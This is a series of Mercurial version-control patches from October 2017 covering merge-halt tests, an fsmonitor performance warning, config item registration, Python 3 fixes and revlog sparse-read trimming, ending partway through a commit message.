+++ b/tests/test-merge-halt.t
@@ -55,8 +55,13 @@
   rebase aborted
 
 Testing on-failure=prompt
-  $ echo on-failure=prompt >> $HGRCPATH
-  $ cat <<EOS | hg rebase -s 1 -d 2 --tool false --config ui.interactive=1
+  $ cat <<EOS >> $HGRCPATH
+  > [merge]
+  > on-failure=prompt
+  > [ui]
+  > interactive=1
+  > EOS
+  $ cat <<EOS | hg rebase -s 1 -d 2 --tool false
   > y
   > n
   > EOS
@@ -77,3 +82,83 @@
   $ hg rebase --abort
   rebase aborted
 
+Check that successful tool with failed post-check halts the merge
+  $ cat <<EOS >> $HGRCPATH
+  > [merge-tools]
+  > true.check=changed
+  > EOS
+  $ cat <<EOS | hg rebase -s 1 -d 2 --tool true
+  > y
+  > n
+  > n
+  > EOS
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+   output file a appears unchanged
+  was merge successful (yn)? y
+   output file b appears unchanged
+  was merge successful (yn)? n
+  merging b failed!
+  continue merge operation (yn)? n
+  merge halted after failed merge (see hg resolve)
+  [1]
+
+  $ hg resolve --list
+  R a
+  U b
+
+  $ hg rebase --abort
+  rebase aborted
+
+Check that conflicts with conflict check also halts the merge
+  $ cat <<EOS >> $HGRCPATH
+  > [merge-tools]
+  > true.check=conflicts
+  > true.premerge=keep
+  > [merge]
+  > on-failure=halt
+  > EOS
+  $ hg rebase -s 1 -d 2 --tool true
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+  merging a failed!
+  merge halted after failed merge (see hg resolve)
+  [1]
+
+  $ hg resolve --list
+  U a
+  U b
+
+  $ hg rebase --abort
+  rebase aborted
+
+Check that always-prompt also can halt the merge
+  $ cat <<EOS | hg rebase -s 1 -d 2 --tool true --config merge-tools.true.check=prompt
+  > y
+  > n
+  > EOS
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+  was merge of 'a' successful (yn)? y
+  was merge of 'b' successful (yn)? n
+  merging b failed!
+  merge halted after failed merge (see hg resolve)
+  [1]
+
+  $ hg resolve --list
+  R a
+  U b
+
+  $ hg rebase --abort
+  rebase aborted
+
+Check that successful tool otherwise allows the merge to continue
+  $ hg rebase -s 1 -d 2 --tool echo --keep --config merge-tools.echo.premerge=keep
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+  $TESTTMP/repo/a *a~base* *a~other* (glob)
+  $TESTTMP/repo/b *b~base* *b~other* (glob)
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1508360235 -7200
#      Wed Oct 18 22:57:15 2017 +0200
# Node ID df2ff314e36f3f56aa7547c20b498008d5f32c15
# Parent  05535d0dea68900cb966b4d47e48bffba40acb55
fsmonitor: warn when fsmonitor could be used

fsmonitor can significantly speed up operations on large working
directories. But fsmonitor isn't enabled by default, so naive users
may not realize there is a potential to make Mercurial faster.

This commit introduces a warning to working directory updates when
fsmonitor could be used.

The following conditions must be met:

* Working directory is previously empty
* New working directory adds >= N files (currently 50,000)
* Running on Linux or MacOS
* fsmonitor not enabled
* Warning not disabled via config override

Because of the empty working directory restriction, most users will
only see this warning during `hg clone` (assuming very few users
actually do an `hg up null`).

The addition of a warning may be considered a BC change. However, clone
has printed warnings before. Until recently, Mercurial printed a warning
with the server's certificate fingerprint when it wasn't explicitly
trusted for example. The warning goes to stderr. So it shouldn't
interfere with scripts parsing meaningful output.

The OS restriction was on the advice of Facebook engineers, who only
feel confident with watchman's stability on the supported platforms.

.. feature::

   Print warning when fsmonitor isn't being used on a large repository

Differential Revision: https://phab.mercurial-scm.org/D894

diff --git a/hgext/fsmonitor/__init__.py b/hgext/fsmonitor/__init__.py
--- a/hgext/fsmonitor/__init__.py
+++ b/hgext/fsmonitor/__init__.py
@@ -18,6 +18,9 @@
 repository as necessary. You'll need to install Watchman from
 https://facebook.github.io/watchman/ and make sure it is in your PATH.
 
+fsmonitor is incompatible with the largefiles and eol extensions, and
+will disable itself if any of those are active.
+
 The following configuration options exist:
 
 ::
@@ -58,9 +61,22 @@
 that can outpace the IPC overhead of getting the result data for the full repo
 from Watchman. Defaults to false.
 
-fsmonitor is incompatible with the largefiles and eol extensions, and
-will disable itself if any of those are active.
+::
+
+    [fsmonitor]
+    warn_when_unused = (boolean)
+
+Whether to print a warning during certain operations when fsmonitor would be
+beneficial to performance but isn't enabled.
 
+::
+
+    [fsmonitor]
+    warn_update_file_count = (integer)
+
+If ``warn_when_unused`` is set and fsmonitor isn't enabled, a warning will
+be printed during working directory updates if this many files will be
+created.
 '''
 
 # Platforms Supported
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -488,6 +488,12 @@
 coreconfigitem('format', 'usestore',
     default=True,
 )
+coreconfigitem('fsmonitor', 'warn_when_unused',
+    default=True,
+)
+coreconfigitem('fsmonitor', 'warn_update_file_count',
+    default=50000,
+)
 coreconfigitem('hooks', '.*',
     default=dynamicdefault,
     generic=True,
diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -25,6 +25,7 @@
 from . import (
     copies,
     error,
+    extensions,
     filemerge,
     match as matchmod,
     obsutil,
@@ -1943,6 +1944,38 @@
             # note that we're in the middle of an update
             repo.vfs.write('updatestate', p2.hex())
 
+        # Advertise fsmonitor when its presence could be useful.
+        #
+        # We only advertise when performing an update from an empty working
+        # directory. This typically only occurs during initial clone.
+        #
+        # We give users a mechanism to disable the warning in case it is
+        # annoying.
+        #
+        # We only allow on Linux and MacOS because that's where fsmonitor is
+        # considered stable.
+        fsmonitorwarning = repo.ui.configbool('fsmonitor', 'warn_when_unused')
+        fsmonitorthreshold = repo.ui.configint('fsmonitor',
+                                               'warn_update_file_count')
+        try:
+            extensions.find('fsmonitor')
+            fsmonitorenabled = repo.ui.config('fsmonitor', 'mode') != 'off'
+            # We intentionally don't look at whether fsmonitor has disabled
+            # itself because a) fsmonitor may have already printed a warning
+            # b) we only care about the config state here.
+        except KeyError:
+            fsmonitorenabled = False
+
+        if (fsmonitorwarning
+                and not fsmonitorenabled
+                and p1.node() == nullid
+                and len(actions['g']) >= fsmonitorthreshold
+                and pycompat.sysplatform.startswith(('linux', 'darwin'))):
+            repo.ui.warn(
+                _('(warning: large working directory being used without '
+                  'fsmonitor enabled; enable fsmonitor to improve performance; '
+                  'see "hg help -e fsmonitor")\n'))
+
         stats = applyupdates(repo, actions, wc, p2, overwrite, labels=labels)
         wc.flushall()
 
diff --git a/tests/hghave.py b/tests/hghave.py
--- a/tests/hghave.py
+++ b/tests/hghave.py
@@ -559,6 +559,11 @@
     except ImportError:
         return False
 
+@check('linuxormacos', 'Linux or MacOS')
+def has_linuxormacos():
+    # This isn't a perfect test for MacOS. But it is sufficient for our needs.
+    return sys.platform.startswith(('linux', 'darwin'))
+
 @check("docker", "docker support")
 def has_docker():
     pat = br'A self-sufficient runtime for'
diff --git a/tests/test-clone.t b/tests/test-clone.t
--- a/tests/test-clone.t
+++ b/tests/test-clone.t
@@ -1177,3 +1177,80 @@
 We should not have created a file named owned - if it exists, the
 attack succeeded.
   $ if test -f owned; then echo 'you got owned'; fi
+
+Cloning without fsmonitor enabled does not print a warning for small repos
+
+  $ hg clone a fsmonitor-default
+  updating to bookmark @ on branch stable
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+Lower the warning threshold to simulate a large repo
+
+  $ cat >> $HGRCPATH << EOF
+  > [fsmonitor]
+  > warn_update_file_count = 2
+  > EOF
+
+We should see a warning about no fsmonitor on supported platforms
+
+#if linuxormacos no-fsmonitor
+  $ hg clone a nofsmonitor
+  updating to bookmark @ on branch stable
+  (warning: large working directory being used without fsmonitor enabled; enable fsmonitor to improve performance; see "hg help -e fsmonitor")
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+#else
+  $ hg clone a nofsmonitor
+  updating to bookmark @ on branch stable
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+#endif
+
+We should not see warning about fsmonitor when it is enabled
+
+#if fsmonitor
+  $ hg clone a fsmonitor-enabled
+  updating to bookmark @ on branch stable
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+#endif
+
+We can disable the fsmonitor warning
+
+  $ hg --config fsmonitor.warn_when_unused=false clone a fsmonitor-disable-warning
+  updating to bookmark @ on branch stable
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+Loaded fsmonitor but disabled in config should still print warning
+
+#if linuxormacos fsmonitor
+  $ hg --config fsmonitor.mode=off clone a fsmonitor-mode-off
+  updating to bookmark @ on branch stable
+  (warning: large working directory being used without fsmonitor enabled; enable fsmonitor to improve performance; see "hg help -e fsmonitor") (fsmonitor !)
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+#endif
+
+Warning not printed if working directory isn't empty
+
+  $ hg -q clone a fsmonitor-update
+  (warning: large working directory being used without fsmonitor enabled; enable fsmonitor to improve performance; see "hg help -e fsmonitor") (?)
+  $ cd fsmonitor-update
+  $ hg up acb14030fe0a
+  1 files updated, 0 files merged, 2 files removed, 0 files unresolved
+  (leaving bookmark @)
+  $ hg up cf0fe1914066
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+`hg update` from null revision also prints
+
+  $ hg up null
+  0 files updated, 0 files merged, 2 files removed, 0 files unresolved
+
+#if linuxormacos no-fsmonitor
+  $ hg up cf0fe1914066
+  (warning: large working directory being used without fsmonitor enabled; enable fsmonitor to improve performance; see "hg help -e fsmonitor")
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
+#else
+  $ hg up cf0fe1914066
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
+#endif
+
+  $ cd ..
+
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1508360090 -7200
#      Wed Oct 18 22:54:50 2017 +0200
# Node ID dbb542326582dc1d08525c1305528a2f4e68eb5a
# Parent  df2ff314e36f3f56aa7547c20b498008d5f32c15
fsmonitor: declare missing config options

These were added in 4aa57627692a. Attempting to run the test harness
with fsmonitor enabled spews a whole bunch of devel warnings due to
these options not be declared.

Differential Revision: https://phab.mercurial-scm.org/D1176

diff --git a/hgext/fsmonitor/__init__.py b/hgext/fsmonitor/__init__.py
--- a/hgext/fsmonitor/__init__.py
+++ b/hgext/fsmonitor/__init__.py
@@ -162,6 +162,12 @@
 configitem('fsmonitor', 'blacklistusers',
     default=list,
 )
+configitem('experimental', 'fsmonitor.transaction_notify',
+    default=False,
+)
+configitem('experimental', 'fsmonitor.wc_change_notify',
+    default=False,
+)
 
 # This extension is incompatible with the following blacklisted extensions
 # and will disable itself when encountering one of these:
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1508363739 25200
#      Wed Oct 18 14:55:39 2017 -0700
# Node ID 7bf7544fd6ccfa59c709dfc5b20d0f68e7bb59e0
# Parent  dbb542326582dc1d08525c1305528a2f4e68eb5a
chgserver: do not treat HG as sensitive environ when CHGHG is set

When `$CHGHG` is set, `$HG` is ignored by the chg client. Removing it from
chg's sensitive environment list would avoid starting up servers
unnecessarily when `$CHGHG` is the same while `$HG` is different.

Differential Revision: https://phab.mercurial-scm.org/D1177

diff --git a/mercurial/chgserver.py b/mercurial/chgserver.py
--- a/mercurial/chgserver.py
+++ b/mercurial/chgserver.py
@@ -108,8 +108,13 @@
     for section, item in _configsectionitems:
         sectionitems.append(ui.config(section, item))
     sectionhash = _hashlist(sectionitems)
+    # If $CHGHG is set, the change to $HG should not trigger a new chg server
+    if 'CHGHG' in encoding.environ:
+        ignored = {'HG'}
+    else:
+        ignored = set()
     envitems = [(k, v) for k, v in encoding.environ.iteritems()
-                if _envre.match(k)]
+                if _envre.match(k) and k not in ignored]
     envhash = _hashlist(sorted(envitems))
     return sectionhash[:6] + envhash[:6]
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1508364303 25200
#      Wed Oct 18 15:05:03 2017 -0700
# Node ID 317566f0c2e6ea5597c6c199a419ff5a6666e060
# Parent  7bf7544fd6ccfa59c709dfc5b20d0f68e7bb59e0
show: move configitems to core

chgserver.py is also checking the config and will get:

  devel-warn: accessing unregistered config item:
  'commands.show.aliasprefix' at:
  mercurial/chgserver.py:109

if the config is not registered.

Differential Revision: https://phab.mercurial-scm.org/D1178

diff --git a/hgext/show.py b/hgext/show.py
--- a/hgext/show.py
+++ b/hgext/show.py
@@ -52,12 +52,6 @@
 cmdtable = {}
 command = registrar.command(cmdtable)
 
-configtable = {}
-configitem = registrar.configitem(configtable)
-configitem('commands', 'show.aliasprefix',
-    default=list,
-)
-
 revsetpredicate = registrar.revsetpredicate()
 
 class showcmdfunc(registrar._funcregistrarbase):
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -181,6 +181,9 @@
 coreconfigitem('color', 'pagermode',
     default=dynamicdefault,
 )
+coreconfigitem('commands', 'show.aliasprefix',
+    default=list,
+)
 coreconfigitem('commands', 'status.relative',
     default=False,
 )
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1508363447 -19800
#      Thu Oct 19 03:20:47 2017 +0530
# Node ID 554885e108684df699971095ede8ff660f0e0972
# Parent  317566f0c2e6ea5597c6c199a419ff5a6666e060
amend: error out if the note is greater than 255bytes

In obsmarker we can't store keys and values of more than 255 bytes in metadata.
If we try to do so, ProgrammingError is raised. The note flag to amend stores
the note in obsmetadata. If a user will try to store a larger note, he will
encounter ProgrammingError which is wrong. We must error out early.

Thanks to Yuya for warning about this.

Differential Revision: https://phab.mercurial-scm.org/D1179

diff --git a/hgext/amend.py b/hgext/amend.py
--- a/hgext/amend.py
+++ b/hgext/amend.py
@@ -16,6 +16,7 @@
 from mercurial import (
     cmdutil,
     commands,
+    error,
     registrar,
 )
 
@@ -45,6 +46,8 @@
 
     See :hg:`help commit` for more details.
     """
+    if len(opts['note']) > 255:
+        raise error.Abort(_("cannot store a note of more than 255 bytes"))
     with repo.wlock(), repo.lock():
         if not opts.get('logfile'):
             opts['message'] = opts.get('message') or repo['.'].description()
diff --git a/tests/test-amend.t b/tests/test-amend.t
--- a/tests/test-amend.t
+++ b/tests/test-amend.t
@@ -198,6 +198,9 @@
 
   $ echo foo > bar
   $ hg add bar
+  $ hg amend --note 'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy'
+  abort: cannot store a note of more than 255 bytes
+  [255]
   $ hg amend --note "adding bar"
   $ hg debugobsolete -r .
   112478962961147124edd43549aedd1a335e44bf be169c7e8dbe21cd10b3d79691cbe7f241e3c21c 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508364710 14400
#      Wed Oct 18 18:11:50 2017 -0400
# Node ID effae88bccdb53eefeec97899aef5e63bc5aa846
# Parent  554885e108684df699971095ede8ff660f0e0972
convert: register missed subversion config items

Should fix the build failures on the Solaris builders.

Differential Revision: https://phab.mercurial-scm.org/D1180

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -112,6 +112,15 @@
 configitem('convert', 'svn.debugsvnlog',
     default=True,
 )
+configitem('convert', 'svn.trunk',
+    default=None,
+)
+configitem('convert', 'svn.tags',
+    default=None,
+)
+configitem('convert', 'svn.branches',
+    default=None,
+)
 configitem('convert', 'svn.startrev',
     default=0,
 )
diff --git a/hgext/convert/subversion.py b/hgext/convert/subversion.py
--- a/hgext/convert/subversion.py
+++ b/hgext/convert/subversion.py
@@ -352,8 +352,10 @@
                 raise error.Abort(_('svn: revision %s is not an integer') %
                                  revs[0])
 
-        self.trunkname = self.ui.config('convert', 'svn.trunk',
-                                        'trunk').strip('/')
+        trunkcfg = self.ui.config('convert', 'svn.trunk')
+        if trunkcfg is None:
+            trunkcfg = 'trunk'
+        self.trunkname = trunkcfg.strip('/')
         self.startrev = self.ui.config('convert', 'svn.startrev')
         try:
             self.startrev = int(self.startrev)
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508365740 14400
#      Wed Oct 18 18:29:00 2017 -0400
# Node ID 6b77c13a1aab7eeb26924b94289a861b67350b36
# Parent  effae88bccdb53eefeec97899aef5e63bc5aa846
configitems: make all regular expressions bytes and not native str

Fixes many tests on Python 3.

Differential Revision: https://phab.mercurial-scm.org/D1181

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -584,52 +584,52 @@
     default=None,
     generic=True,
 )
-coreconfigitem('merge-tools', r'.*\.args$',
+coreconfigitem('merge-tools', br'.*\.args$',
     default="$local $base $other",
     generic=True,
     priority=-1,
 )
-coreconfigitem('merge-tools', r'.*\.binary$',
+coreconfigitem('merge-tools', br'.*\.binary$',
     default=False,
     generic=True,
     priority=-1,
 )
-coreconfigitem('merge-tools', r'.*\.check$',
+coreconfigitem('merge-tools', br'.*\.check$',
     default=list,
     generic=True,
     priority=-1,
 )
-coreconfigitem('merge-tools', r'.*\.checkchanged$',
+coreconfigitem('merge-tools', br'.*\.checkchanged$',
     default=False,
     generic=True,
     priority=-1,
 )
-coreconfigitem('merge-tools', r'.*\.executable$',
+coreconfigitem('merge-tools', br'.*\.executable$',
     default=dynamicdefault,
     generic=True,
     priority=-1,
 )
-coreconfigitem('merge-tools', r'.*\.fixeol$',
+coreconfigitem('merge-tools', br'.*\.fixeol$',
     default=False,
     generic=True,
     priority=-1,
 )
-coreconfigitem('merge-tools', r'.*\.gui$',
+coreconfigitem('merge-tools', br'.*\.gui$',
     default=False,
     generic=True,
     priority=-1,
 )
-coreconfigitem('merge-tools', r'.*\.priority$',
+coreconfigitem('merge-tools', br'.*\.priority$',
     default=0,
     generic=True,
     priority=-1,
 )
-coreconfigitem('merge-tools', r'.*\.premerge$',
+coreconfigitem('merge-tools', br'.*\.premerge$',
     default=dynamicdefault,
     generic=True,
     priority=-1,
 )
-coreconfigitem('merge-tools', r'.*\.symlink$',
+coreconfigitem('merge-tools', br'.*\.symlink$',
     default=False,
     generic=True,
     priority=-1,
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508365757 14400
#      Wed Oct 18 18:29:17 2017 -0400
# Node ID e1458bce84dbf74db98eccd87b41efe13180f057
# Parent  6b77c13a1aab7eeb26924b94289a861b67350b36
hghave: fix clang-format check to use bytes regex

Fixes hghave on Python 3.

Differential Revision: https://phab.mercurial-scm.org/D1182

diff --git a/tests/hghave.py b/tests/hghave.py
--- a/tests/hghave.py
+++ b/tests/hghave.py
@@ -442,7 +442,7 @@
 @check("clang-format", "clang-format C code formatter")
 def has_clang_format():
     return matchoutput("clang-format --help",
-                       r"^OVERVIEW: A tool to format C/C\+\+[^ ]+ code.")
+                       br"^OVERVIEW: A tool to format C/C\+\+[^ ]+ code.")
 
 @check("pygments", "Pygments source highlighting library")
 def has_pygments():
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508365802 14400
#      Wed Oct 18 18:30:02 2017 -0400
# Node ID 068e0e5315848418fd4be8a5a7ae4f4197e9dda1
# Parent  e1458bce84dbf74db98eccd87b41efe13180f057
cmdutil: fix status tersing on Python 3

Differential Revision: https://phab.mercurial-scm.org/D1183

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -526,7 +526,7 @@
     allst = ('m', 'a', 'r', 'd', 'u', 'i', 'c')
 
     # checking the argument validity
-    for s in terseargs:
+    for s in pycompat.bytestr(terseargs):
         if s not in allst:
             raise error.Abort(_("'%s' not recognized") % s)
 
@@ -537,9 +537,10 @@
 
     tersedict = {}
     for attrname in pstatus:
+        statuschar = attrname[0:1]
         for f in getattr(statuslist, attrname):
-            rootobj.addfile(f, attrname[0])
-        tersedict[attrname[0]] = []
+            rootobj.addfile(f, statuschar)
+        tersedict[statuschar] = []
 
     # we won't be tersing the root dir, so add files in it
     for st, fpath in rootobj.iterfilepaths():
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1508369298 25200
#      Wed Oct 18 16:28:18 2017 -0700
# Node ID b63a7d839c33dc55b6477b997834703dc1d3eae5
# Parent  068e0e5315848418fd4be8a5a7ae4f4197e9dda1
tests: de-flake test-run-tests.t's "--jobs=2 --first" test

Once in a while, test-nothing.t finished before test-failure.t or
test-failure-copy.t (I haven't checked which one actually gets run
first). Since there already are two tests that will fail in the same
way, just run those two instead so the diff will be reproducible and
not timing-dependent.

The test case was added in 9a20f53e436f (run-tests: handle --jobs and
--first gracefully, 2014-10-09), and I have checked that backing that
out results in two failures being printed. Note that the summary may
still include multiple tests even if --first is given, it's just that
the diff is only printed for the first failure.

Differential Revision: https://phab.mercurial-scm.org/D1186

diff --git a/tests/test-run-tests.t b/tests/test-run-tests.t
--- a/tests/test-run-tests.t
+++ b/tests/test-run-tests.t
@@ -609,10 +609,7 @@
   [1]
 
 failures in parallel with --first should only print one failure
-  >>> f = open('test-nothing.t', 'w')
-  >>> f.write('foo\n' * 1024) and None
-  >>> f.write('  $ sleep 1') and None
-  $ rt --jobs 2 --first
+  $ rt --jobs 2 --first test-failure*.t
   
   --- $TESTTMP/test-failure*.t (glob)
   +++ $TESTTMP/test-failure*.t.err (glob)
@@ -625,14 +622,14 @@
    pad pad pad pad............................................................
   
   Failed test-failure*.t: output changed (glob)
-  Failed test-nothing.t: output changed
+  Failed test-failure*.t: output changed (glob)
   # Ran 2 tests, 0 skipped, 2 failed.
   python hash seed: * (glob)
   [1]
 
 
 (delete the duplicated test file)
-  $ rm test-failure-copy.t test-nothing.t
+  $ rm test-failure-copy.t
 
 
 Interactive run
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1508389673 25200
#      Wed Oct 18 22:07:53 2017 -0700
# Node ID 7b857c5947ec4afffd7b90a94081098b3706d726
# Parent  b63a7d839c33dc55b6477b997834703dc1d3eae5
registrar: move "constant" possiblecmdtypes to class level

While at it, switch to set literal syntax.

Differential Revision: https://phab.mercurial-scm.org/D1187

diff --git a/mercurial/registrar.py b/mercurial/registrar.py
--- a/mercurial/registrar.py
+++ b/mercurial/registrar.py
@@ -148,13 +148,13 @@
     recoverablewrite = "recoverable"
     readonly = "readonly"
 
+    possiblecmdtypes = {unrecoverablewrite, recoverablewrite, readonly}
+
     def _doregister(self, func, name, options=(), synopsis=None,
                     norepo=False, optionalrepo=False, inferrepo=False,
                     cmdtype=unrecoverablewrite):
 
-        possiblecmdtypes = set([self.unrecoverablewrite, self.recoverablewrite,
-                                self.readonly])
-        if cmdtype not in possiblecmdtypes:
+        if cmdtype not in self.possiblecmdtypes:
             raise error.ProgrammingError(_("unknown cmdtype value '%s' for "
                                             "'%s' command") % (cmdtype, name))
         func.norepo = norepo
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1508389808 25200
#      Wed Oct 18 22:10:08 2017 -0700
# Node ID 97017508c86306a4eebe8e441c96629186d2e359
# Parent  7b857c5947ec4afffd7b90a94081098b3706d726
registrar: don't i18n ProgrammingError message

Differential Revision: https://phab.mercurial-scm.org/D1188

diff --git a/mercurial/registrar.py b/mercurial/registrar.py
--- a/mercurial/registrar.py
+++ b/mercurial/registrar.py
@@ -7,7 +7,6 @@
 
 from __future__ import absolute_import
 
-from .i18n import _
 from . import (
     configitems,
     error,
@@ -155,8 +154,8 @@
                     cmdtype=unrecoverablewrite):
 
         if cmdtype not in self.possiblecmdtypes:
-            raise error.ProgrammingError(_("unknown cmdtype value '%s' for "
-                                            "'%s' command") % (cmdtype, name))
+            raise error.ProgrammingError("unknown cmdtype value '%s' for "
+                                         "'%s' command" % (cmdtype, name))
         func.norepo = norepo
         func.optionalrepo = optionalrepo
         func.inferrepo = inferrepo
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1508366564 25200
#      Wed Oct 18 15:42:44 2017 -0700
# Node ID 2e350d2a0ecaaa8b98b36fd685feccf427634a8d
# Parent  97017508c86306a4eebe8e441c96629186d2e359
fsmonitor: use nonnormalset from dirstatemap

`dirstate._nonnormalset` has been moved to `dirstate._map.nonnormalset` by
60927b19ed65 (dirstate: move nonnormal and otherparent sets to dirstatemap)
and is guaranteed to be existed.

Let's update fsmonitor code to use the new `nonnormalset`. Thix fixed a perf
regression that slows down `hg status` by 0.5 seconds in one of our
production repos.

Differential Revision: https://phab.mercurial-scm.org/D1184

diff --git a/hgext/fsmonitor/__init__.py b/hgext/fsmonitor/__init__.py
--- a/hgext/fsmonitor/__init__.py
+++ b/hgext/fsmonitor/__init__.py
@@ -274,7 +274,7 @@
     matchfn = match.matchfn
     matchalways = match.always()
     dmap = self._map._map
-    nonnormalset = getattr(self, '_nonnormalset', None)
+    nonnormalset = self._map.nonnormalset
 
     copymap = self._map.copymap
     getkind = stat.S_IFMT
@@ -404,7 +404,7 @@
     visit = set((f for f in notefiles if (f not in results and matchfn(f)
                                           and (f in dmap or not ignore(f)))))
 
-    if nonnormalset is not None and not fresh_instance:
+    if not fresh_instance:
         if matchalways:
             visit.update(f for f in nonnormalset if f not in results)
             visit.update(f for f in copymap if f not in results)
@@ -415,15 +415,11 @@
                          if f not in results and matchfn(f))
     else:
         if matchalways:
-            visit.update(f for f, st in dmap.iteritems()
-                         if (f not in results and
-                             (st[2] < 0 or st[0] != 'n' or fresh_instance)))
+            visit.update(f for f, st in dmap.iteritems() if f not in results)
             visit.update(f for f in copymap if f not in results)
         else:
             visit.update(f for f, st in dmap.iteritems()
-                         if (f not in results and
-                             (st[2] < 0 or st[0] != 'n' or fresh_instance)
-                             and matchfn(f)))
+                         if f not in results and matchfn(f))
             visit.update(f for f in copymap
                          if f not in results and matchfn(f))
 
# HG changeset patch
# User Paul Morelle <paul.morelle@octobus.net>
# Date 1508333299 -7200
#      Wed Oct 18 15:28:19 2017 +0200
# Node ID 1bde8e8e5de04004f9e2e9941d7c7c9957005bde
# Parent  2e350d2a0ecaaa8b98b36fd685feccf427634a8d
sparse-read: ignore trailing empty revs in each read chunk

An empty entry in the revlog may happen for two reasons:
- when the file is empty, and the revlog stores a snapshot;
- when there is a merge and both parents were identical.

`hg debugindex -m | awk '$3=="0"{print}' | wc -l` gives 1917 of such entries
in my clone of pypy, and 113 on my clone of mercurial.

These empty revision may be located at the end of a sparse chain, and in some
special cases may lead to read relatively large amounts of data for nothing.

diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -162,6 +162,20 @@
     s.update(text)
     return s.digest()
 
+def _trimchunk(revlog, revs, startidx, endidx=None):
+    """returns revs[startidx:endidx] without empty trailing revs
+    """
+    length = revlog.length
+
+    if endidx is None:
+        endidx = len(revs)
+
+    # Trim empty revs at the end, but never the very first revision of a chain
+    while endidx > 1 and endidx > startidx and length(revs[endidx - 1]) == 0:
+        endidx -= 1
+
+    return revs[startidx:endidx]
+
 def _slicechunk(revlog, revs):
     """slice revs to reduce the amount of unrelated data to be read from disk.
 
@@ -194,6 +208,10 @@
         revstart = start(rev)
         revlen = length(rev)
 
+        # Skip empty revisions to form larger holes
+        if revlen == 0:
+            continue
+
         if prevend is not None:
             gapsize = revstart - prevend
             # only consider holes that are large enough
@@ -222,9 +240,16 @@
     previdx = 0
     while indicesheap:
         idx = heapq.heappop(indicesheap)
-        yield revs[previdx:idx]
+
+        chunk = _trimchunk(revlog, revs, previdx, idx)
+        if chunk:
+            yield chunk
+
         previdx = idx
-    yield revs[previdx:]
+
+    chunk = _trimchunk(revlog, revs, previdx)
+    if chunk:
+        yield chunk
 
 # index v0:
 #  4 bytes: offset
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508426230 14400
#      Thu Oct 19 11:17:10 2017 -0400
# Node ID 1e2dc50da17b6c7c915f7efe4a1af3e5b52e297e
# Parent  1bde8e8e5de04004f9e2e9941d7c7c9957005bde
tests: add some (?) output lines to catch "helpful" output from Solaris diff

Differential Revision: https://phab.mercurial-scm.org/D1196

diff --git a/tests/test-archive.t b/tests/test-archive.t
--- a/tests/test-archive.t
+++ b/tests/test-archive.t
@@ -82,6 +82,8 @@
   $TESTTMP/test/subrepo/.hg (no-eol) (glob)
   $ diff -r archive test
   Only in test: .hg
+  Common subdirectories: archive/baz and test/baz (?)
+  Common subdirectories: archive/subrepo and test/subrepo (?)
   Only in test/subrepo: .hg
   [1]
   $ rm -rf archive
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508409162 -7200
#      Thu Oct 19 12:32:42 2017 +0200
# Node ID 3a3adbcbd3a0f8e8abb4673605c7285ab6df1f57
# Parent  1e2dc50da17b6c7c915f7efe4a1af3e5b52e297e
obsfate: rename obsfate into obsolete in changeset_printer

Yuja's comment on the original obsfate about how we would translate obsfate
and the recent discussions about exposing users to new concepts and names lead
have led me to think that 'obsfate' should be treated as internal jargon. End-
users should not be aware of obsfate, so we replace 'obsfate' by 'obsolete' in
changeset_printer.

It will be easier to understand for end-users, easier to translate and closer
to the original Evolve obsfate output.

I'm aware it's extremely late in the cycle but I think it's an UX improvement
for the end-users.

